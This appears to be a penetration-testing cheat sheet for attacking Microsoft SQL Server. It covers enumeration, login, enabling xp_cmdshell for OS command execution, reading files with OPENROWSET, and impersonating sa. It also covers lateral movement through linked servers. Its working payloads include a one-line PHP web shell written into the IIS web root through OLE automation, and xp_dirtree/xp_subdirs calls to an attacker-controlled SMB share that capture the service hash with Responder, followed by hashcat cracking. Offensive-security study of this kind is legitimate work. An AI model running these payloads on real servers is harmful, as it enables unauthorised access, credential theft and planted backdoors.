⚫MSSQL

Default system schemas/databases:

  • master - keeps the information for an instance of SQL Server.

  • msdb - used by SQL Server Agent.

  • model - a template database copied for each new database.

  • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.

  • tempdb - keeps temporary objects for SQL queries.

Enumeration

Basic Nmap scan to grab the banner of the SQL server

  • 1433 - MSSQL

nmap -Pn -sVC -p 1433 IP

Misconfigurations

This can allow access to the service without credentials if anonymous access is enabled.

Other common problems with how privileges are set may enable us to perform an action such as:

  • Read or change the contents of the DB

  • Read or change server configuration

  • Execute commands

  • Read local files

  • Capture the local system hash

Reading the Database

# Windows
sqlcmd -S SRVMSSQL -U user -P 'pPasword1!' -y 30 -Y 3

# Linux
sqsh -S IP -U user -P 'pPasword1!' -h

With Windows authentication we need to specify the domain name or the hostname or our target otherwise it will assume SQL authentication and authenticate against the users in the SQL server.

If we want to target a local account we use

  • SERVERNAME\\accountname or .\\accountname

sqsh -S IP -U .\\accountname -P 'Password1!' -h

  • -h Cleaner output by disabling headers and footers

If using Windows sqlcmd we must type GO to run our query

We can also use Impacket's suite of tools

mssqlclient.py -p 1433 user@IP
SELECT name FROM master.dbo.sysdatabases

name
--------------------------------------------------
master
tempdb
model
msdb
users
USE users
SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES
SELECT * FROM users

Command Execution

If we have appropriate privileges we can use the SQL database to execute system commands

XP_CMDSHELL

Logoxp_cmdshell (Transact-SQL) - SQL ServerMicrosoftLearn

Allows us to execute system commands using SQL, disabled by default but can be enabled using the Policy-Based Management or executing sp_configure 

xp_cmdshell 'whoami'

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

We can run any system command meaning we can list directories and read files

xp_cmdshell "type C:\Users"

xp_cmdshell "type C:\Users\Administrator\Desktop\secret.txt"

Enable xp_cmdshell

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1

-- To update the currently configured value for advanced options.  
RECONFIGURE 

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1 

-- To update the currently configured value for this feature.  
RECONFIGURE

Writing Local Files

We have to enable Ole Automation Procedures

Enable Ole Automation Procedures

sp_configure 'show advanced options', 1

RECONFIGURE

sp_configure 'Ole Automation Procedures', 1

RECONFIGURE

Create a File

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Read Local Files

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Capture MSSQL Service Hash

We can attempt to steal the MSSQL service hash using xp_subdirs or xp_diretree stored procedures. They both use SMB protocols to retrieve a list of child directories under a parent directory in the file system.

To make these work start Responder or Impacket first

XP_DIRETREE Hash Stealing

EXEC master..xp_dirtree '\\ATTACKING-IP\share\'

XP_SUBDIRS Hash Stealing

EXEC master..xp_subdirs '\\ATTACKING-IP\share\'

Remember to use your attack IP

XP_SUBDIRS Hash Stealing Continues

Responder

 sudo responder -I tun0

Impacket

sudo impacket-smbserver share ./ -smb2support

We now to try to crack the hash or attempt to "Pass the Hash"

hashcat -m 5600 hash.txt pass.txt

Impersonate Existing Users

IMPERSONATE allows us to take on the permissions of another user or log in.

First, we must identify users that we can impersonate. By default sysadmin can impersonate anyone

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Next, we check if the current user has the sysadmin role 

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

If 0 is returned then we do not have the role but we can impersonate the sa role.

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Communicate with Other Databases

We can use a Linked server to execute an SQL statement that includes tables in another instance of SQL.

This may allow us lateral movement to that database in that server. Admins can configure a linked server using credentials from the remote server. If the credentials have sufficient (sa)privileges then we may be able to execute commands in the remote SQL instance.

SELECT srvname, isremote FROM sysservers

srvname                             isremote
----------------------------------- --------
DESKTOP-WIN10\SQLEXPRESS            1
LINKED-SRV                          0

(2 rows affected)
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT LINKED-SRV ]

Remember we can pass any command into the EXECUTE

EXECUTE('xp_cmdshell "whoami"') AT [LINKED-SRV]
EXECUTE('xp_cmdshell "dir C:"') AT [LINKED-SRV]
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